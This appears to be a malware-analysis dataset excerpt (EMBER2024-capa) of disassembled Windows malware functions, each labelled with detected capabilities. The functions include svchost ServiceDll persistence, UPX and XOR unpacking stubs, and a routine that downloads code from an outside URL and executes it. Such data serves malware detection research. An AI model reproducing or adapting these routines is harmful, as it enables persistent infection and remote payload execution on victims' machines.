joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000d870
Capabilities:
Delete file
Get common file path
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x364
push ebx
push ebp
push esi
push edi
mov ecx, 8
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x248]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x26b]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str._zafgi_IgcdbduOdd
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x248]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
xor ebx, ebx
and ecx, 3
mov byte [esp + 0x80], bl
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x40
lea edi, [esp + 0x81]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str.Net_Temp.ini
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x7c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x7f], bl
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x7c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call esi
lea ecx, [esp + 0x7c]
lea edx, [esp + 0x248]
push ecx
push edx
call fcn.1000d790
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x21]
mov byte [esp + 0x20], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x2b67
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea eax, [esp + 0x24]
push str.SOFTWARE_d
push eax
call ebp
lea ecx, [esp + 0x90]
lea edx, [esp + 0x2c]
push ecx
push edx
call fcn.1000d7f0
add esp, 0x1c
lea eax, [esp + 0x7c]
push eax
call esi
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x181]
mov byte [esp + 0x180], bl
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
lea edx, [esp + 0x180]
stosw word es:[edi], ax
push ecx
push str._sParameters
push edx
stosb byte es:[edi], al
call ebp
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x180]
push eax
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push edx
push connect
mov dword [esp + 0x38], 1
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push str._RqmbzdlDjn_p__ScjpTSlqjzttx_jlr
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esp + 0x14]
push str._RqmbzdlDjn_p__ScjpTSlqjzttx_jlr
push 2
push ebx
push str.ServiceDll
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x7c]
lea eax, [esp + 0x18]
push edx
push eax
call fcn.1000d790
lea ecx, [esp + 0x84]
lea edx, [esp + 0x250]
push ecx
push edx
call fcn.1000d7f0
add esp, 0x10
lea eax, [esp + 0x7c]
push eax
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x364
ret
Function at 0x1000dd30
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x23c
mov ecx, 8
xor eax, eax
lea edx, [esp + 0x110]
push ebx
push esi
push edi
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x11c]
push 0x30
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x143]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str._zafgi_IgcdbduOdd
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x120]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.Parameters
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
call esi
add esp, 4
lea eax, [esp + 0xc]
lea ecx, [esp + 0x11c]
push eax
push 0xf003f
push 0
push ecx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1000ddfc
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x23c
ret
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x1c]
add esp, 4
rep stosd dword es:[edi], eax
lea edx, [esp + 0x14]
lea eax, [esp + 0x18]
push edx
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push eax
push ecx
push 0
push str.ServiceDll
push edx
mov dword [esp + 0x28], 2
mov dword [esp + 0x2c], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x18]
push str._RqmbzdlDjn_p__ScjpTSlqjzttx_jlr
push ecx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
neg eax
sbb eax, eax
pop edi
pop esi
inc eax
pop ebx
add esp, 0x23c
ret
Function at 0x1000de90
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x814
mov ecx, 0xd
lea eax, [esp]
push ebx
push ebp
push esi
push edi
mov esi, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
lea edi, [esp + 0x1c]
rep movsd dword es:[edi], dword [esi]
push eax
push 0xf003f
lea ecx, [esp + 0x24]
push 0
push ecx
push connect
movsb byte es:[edi], byte [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000dfb3
mov ecx, 0x1f3
lea edi, [esp + 0x55]
mov byte [esp + 0x54], al
lea edx, [esp + 0x18]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x1f4
xor eax, eax
lea edi, [esp + 0x54]
push edx
mov edx, dword [esp + 0x14]
mov dword [esp + 0x18], 7
rep stosd dword es:[edi], eax
lea eax, [esp + 0x58]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push str.imgsvc
push edx
mov dword [esp + 0x30], 0x7d0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000dfa8
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edi, [esp + 0x54]
or ecx, 0xffffffff
xor eax, eax
xor ebp, ebp
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea ebx, [esp + 0x54]
mov esi, ecx
test si, si
je 0x1000dfb3
cmp si, 1
je 0x1000dfb3
push str._zafgi_IgcdbduOdd
push ebx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x1000df98
mov eax, esi
and eax, 0xffff
test si, si
lea ebx, [ebx + eax + 1]
lea ebp, [eax + ebp + 1]
je 0x1000dfb3
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
test si, si
jne 0x1000df4d
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x814
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x814
ret
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x814
ret

Function at 0x1000dfc0
Capabilities:
Delete file
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
call fcn.1000dd30
test eax, eax
jne 0x1000dfce
call fcn.1000d870
call fcn.1000de90
test eax, eax
jne 0x1000dfdc
jmp fcn.1000da70
ret
Function at 0x534910
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xc7000]
push edi
jmp 0x53492a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x534931
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x534920
mov eax, 1
add ebx, ebx
jne 0x534943
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x534954
jne 0x534973
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x534973
dec eax
add ebx, ebx
jne 0x534960
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x534938
add ebx, ebx
jne 0x53496f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x5349c5
xor ecx, ecx
sub eax, 3
jb 0x53498b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x5349fa
sar eax, 1
mov ebp, eax
jmp 0x534996
add ebx, ebx
jne 0x534996
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x534964
inc ecx
add ebx, ebx
jne 0x5349a4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x534964
add ebx, ebx
jne 0x5349b1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x5349a6
jne 0x5349c2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x5349a6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x5349e4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x5349d6
jmp 0x534926
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x5349e4
add edi, ecx
jmp 0x534926
pop esi
mov edi, esi
mov ecx, 0x996a
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x534a02
cmp byte [edi], 0x13
jne 0x534a02
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x534a07
lea edi, [esi + 0x130000]
mov eax, dword [edi]
or eax, eax
je 0x534a7f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x13b43c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x13b5a4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x534a34
mov ecx, edi
jns 0x534a63
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x13b5a8]
or eax, eax
je 0x534a79
mov dword [ebx], eax
add ebx, 4
jmp 0x534a51
call dword [esi + 0x13b5b8]
mov ebp, dword [esi + 0x13b5ac]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x20f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x534ab3
sub esp, 0xffffff80
jmp 0x4b0a26
Function at 0x433001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40de38
nop
nop
mov ecx, 0x417e6737
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x43304e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x433024
mov eax, section..data
nop
nop
mov ebx, 0x4304d8
mov ecx, 0x63b91462
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43306c
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219

Function at 0x71d02c
Capabilities:
Packed with generic packer

Disassembly:
call 0x3f71d019
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add bl, ch
jmp 0x71d033
aaa
cli
invalid
lodsd eax, dword [esi]
jno 0x71d094
jmp 0x71d033
pushal
jmp 0x71d03f
call 0x71d04e
sbb al, 0x51
jecxz 0x71d014
mov byte [0x3e809a20], al
pop esi
pop ebx
jmp 0x71d056
add ebx, 0xffffffbc
jmp 0x71d060
cmp dword [ebx], 0
stc
jmp 0x71d06a
je 0x71d0ee
clc
jae 0x71d075
fcomp qword [eax + 0x8ebfb8b]
adc al, 0xa3
jecxz 0x71d085
mov edi, ebx
jmp 0x71d081
fmul st(1), st(0)
xor dl, byte [edi]
add ebx, 4
jmp 0x71d08a
add al, 0xcc
push ebp
outsd dx, dword [esi]
invalid
mov eax, dword [ebx]
jmp 0x71d094
add eax, ebx
clc
jmp 0x71d09e
mov edx, dword [ebx + 4]
jmp 0x71d0aa
sub dword [eax], 0xfb18d92c
jmp 0x71d0b4
add eax, 4
jmp 0x71d0bf
sub edx, 1
stc
jb 0x71d0c6
outsd dx, dword [esi]
jne 0x71d0a1
jb 0x71d0d0
fisttp word [ebx - 0x14f73c7d]
add ecx, edi
pop eax
sub word [edi], 1
add ebx, 8
jmp 0x71d0d8
sub dword [edi], 1
jmp 0x71d0df
jne 0x71d084
clc
jmp 0x71d0e9
call 0x71d0fc
jmp 0x71d0f2
popal
jmp 0x71d0f7
jmp 0x5b8b36

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..rdata
nop
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
je 0x430072
nop
nop
nop
nop
mov ebx, 0x408ecc
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x1de54ce2
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4300d2
mov ebx, 0x42e1d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x15524fc7
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x408b1a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x416bd0]
jne 0x408b24
repz ret
jmp fcn.0040eea8

Function at 0x4113cb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040cc01
and dword [ebp - 4], 0
cmp dword [0x419418], 0
mov ebx, eax
jne 0x41147c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x41152d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x41152d
push eax
call fcn.0040cb8f
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x419418], eax
call esi
push eax
call fcn.0040cb8f
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x41941c], eax
call esi
push eax
call fcn.0040cb8f
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x419420], eax
call esi
push eax
call fcn.0040cb8f
pop ecx
mov dword [0x419428], eax
test eax, eax
je 0x41147c
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040cb8f
pop ecx
mov dword [0x419424], eax
mov eax, dword [0x419424]
cmp eax, ebx
je 0x4114d4
cmp dword [0x419428], ebx
je 0x4114d4
push eax
call fcn.0040cc0a
push dword [0x419428]
mov esi, eax
call fcn.0040cc0a
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4114d4
test edi, edi
je 0x4114d4
call esi
test eax, eax
je 0x4114cb
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4114cb
test byte [ebp - 0xc], 1
jne 0x4114d4
or dword [ebp + 0x10], 0x200000
jmp 0x41150d
mov eax, dword [0x41941c]
cmp eax, ebx
je 0x41150d
push eax
call fcn.0040cc0a
pop ecx
test eax, eax
je 0x41150d
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x41150d
mov eax, dword [0x419420]
cmp eax, ebx
je 0x41150d
push eax
call fcn.0040cc0a
pop ecx
test eax, eax
je 0x41150d
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x419418]
call fcn.0040cc0a
pop ecx
test eax, eax
je 0x41152d
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x41152f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41296c
Capabilities:
Link many functions at runtime
Terminate process

Disassembly:
sub esp, 0xc
mov eax, dword [str.KERNEL32.dll]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
inc ecx
add byte [ebx + 0x7860a1d8], cl
inc ecx
add byte [ebx], dh
ror byte [ecx + 0x50082454], cl
push edx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebp, eax
mov eax, dword [str.GetModuleFileNameW]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x104
push ebp
push 0
call eax
xor edx, edx
xor eax, eax
inc eax
movzx esi, word [ebp + eax*4 - 4]
cmp esi, 0x5c
lea ecx, [eax + eax - 2]
cmove edx, ecx
test esi, esi
je 0x4129d4
movzx esi, word [ebp + eax*4 - 2]
cmp esi, 0x5c
lea ecx, [eax + eax - 1]
cmove edx, ecx
test esi, esi
jne 0x4129ad
mov ecx, dword [0x417844]
lea ebp, [ebp + edx*2 + 2]
cmp dword [ecx], 0
je 0x412a15
movzx eax, word [ebp]
xor edx, edx
test eax, eax
je 0x412a0b
xor eax, eax
inc eax
movzx esi, word [ebp + eax*4 - 4]
add edx, esi
movzx esi, word [ebp + eax*4 - 2]
test esi, esi
je 0x412a0b
add edx, esi
movzx esi, word [ebp + eax*4]
test esi, esi
jne 0x4129ef
cmp edx, dword [ecx + 4]
je 0x412a15
cmp edx, dword [ecx + 8]
jne 0x412a6b
mov eax, dword [str.WININET.DLL]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
mov eax, dword [str.InternetOpenA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
mov eax, dword [str.InternetOpenUrlA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 4], eax
mov eax, dword [str.InternetReadFile]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
xor eax, eax
mov dword [esp], eax
push eax
push eax
push eax
push 1
mov edx, dword [str.zaddik]
push edx
call edi
mov edi, eax
test edi, edi
jne 0x412a73
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor edx, edx
push edx
mov ecx, dword [str.https:__eldar.cz_myf_txt_brautigan.txt]
mov eax, dword [0x417864]
push eax
push edx
push edx
push ecx
push edi
call dword [esp + 0x1c]
mov ecx, eax
test ecx, ecx
je 0x412a6b
mov edx, dword [0x417860]
lea eax, [esp]
push eax
push edx
lea edi, [ebp + 0x20a]
push edi
push ecx
call esi
test eax, eax
je 0x412a6b
mov eax, dword [esp]
test eax, eax
jbe 0x412a6b
lea eax, [ebp + eax + 0x20a]
cmp eax, edi
je 0x412a6b
mov ecx, dword [ebp + 0x20a]
xor edx, edx
mov ebp, dword [str._NIT_NCE_XECUTE_NCE]
mov esi, dword [ebp + edx]
add esi, ecx
mov dword [edx + eax], esi
add edx, 4
cmp edx, 0x80
jl 0x412ac3
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
test ebx, ebx
je 0x412a6b
xor eax, eax
lea ecx, [esp + 8]
push eax
push eax
mov edx, dword [0x417828]
push edx
push ecx
call ebx
jmp 0x412a6b
Function at 0x412979
Capabilities:
Link many functions at runtime
Terminate process

Disassembly:
sub esp, 0xc
mov eax, dword [str.KERNEL32.dll]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
inc ecx
add byte [ebx + 0x7860a1d8], cl
inc ecx
add byte [ebx], dh
ror byte [ecx + 0x50082454], cl
push edx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebp, eax
mov eax, dword [str.GetModuleFileNameW]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x104
push ebp
push 0
call eax
xor edx, edx
xor eax, eax
inc eax
movzx esi, word [ebp + eax*4 - 4]
cmp esi, 0x5c
lea ecx, [eax + eax - 2]
cmove edx, ecx
test esi, esi
je 0x4129d4
movzx esi, word [ebp + eax*4 - 2]
cmp esi, 0x5c
lea ecx, [eax + eax - 1]
cmove edx, ecx
test esi, esi
jne 0x4129ad
mov ecx, dword [0x417844]
lea ebp, [ebp + edx*2 + 2]
cmp dword [ecx], 0
je 0x412a15
movzx eax, word [ebp]
xor edx, edx
test eax, eax
je 0x412a0b
xor eax, eax
inc eax
movzx esi, word [ebp + eax*4 - 4]
add edx, esi
movzx esi, word [ebp + eax*4 - 2]
test esi, esi
je 0x412a0b
add edx, esi
movzx esi, word [ebp + eax*4]
test esi, esi
jne 0x4129ef
cmp edx, dword [ecx + 4]
je 0x412a15
cmp edx, dword [ecx + 8]
jne 0x412a6b
mov eax, dword [str.WININET.DLL]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
mov eax, dword [str.InternetOpenA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
mov eax, dword [str.InternetOpenUrlA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 4], eax
mov eax, dword [str.InternetReadFile]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
xor eax, eax
mov dword [esp], eax
push eax
push eax
push eax
push 1
mov edx, dword [str.zaddik]
push edx
call edi
mov edi, eax
test edi, edi
jne 0x412a73
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor edx, edx
push edx
mov ecx, dword [str.https:__eldar.cz_myf_txt_brautigan.txt]
mov eax, dword [0x417864]
push eax
push edx
push edx
push ecx
push edi
call dword [esp + 0x1c]
mov ecx, eax
test ecx, ecx
je 0x412a6b
mov edx, dword [0x417860]
lea eax, [esp]
push eax
push edx
lea edi, [ebp + 0x20a]
push edi
push ecx
call esi
test eax, eax
je 0x412a6b
mov eax, dword [esp]
test eax, eax
jbe 0x412a6b
lea eax, [ebp + eax + 0x20a]
cmp eax, edi
je 0x412a6b
mov ecx, dword [ebp + 0x20a]
xor edx, edx
mov ebp, dword [str._NIT_NCE_XECUTE_NCE]
mov esi, dword [ebp + edx]
add esi, ecx
mov dword [edx + eax], esi
add edx, 4
cmp edx, 0x80
jl 0x412ac3
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
test ebx, ebx
je 0x412a6b
xor eax, eax
lea ecx, [esp + 8]
push eax
push eax
mov edx, dword [0x417828]
push edx
push ecx
call ebx
jmp 0x412a6b
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..rdata
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x1d061710
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x432024
nop
mov eax, section..text
nop
mov ebx, 0x42f314
nop
mov ecx, 0x77594c84
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x432084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408f6c
nop
mov ecx, 0x1f463350
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x430024
mov eax, section..data
nop
mov ebx, 0x42e3d0
nop
nop
mov ecx, 0xaa34b4f
test eax, eax
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
pop eax
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp loc.00401219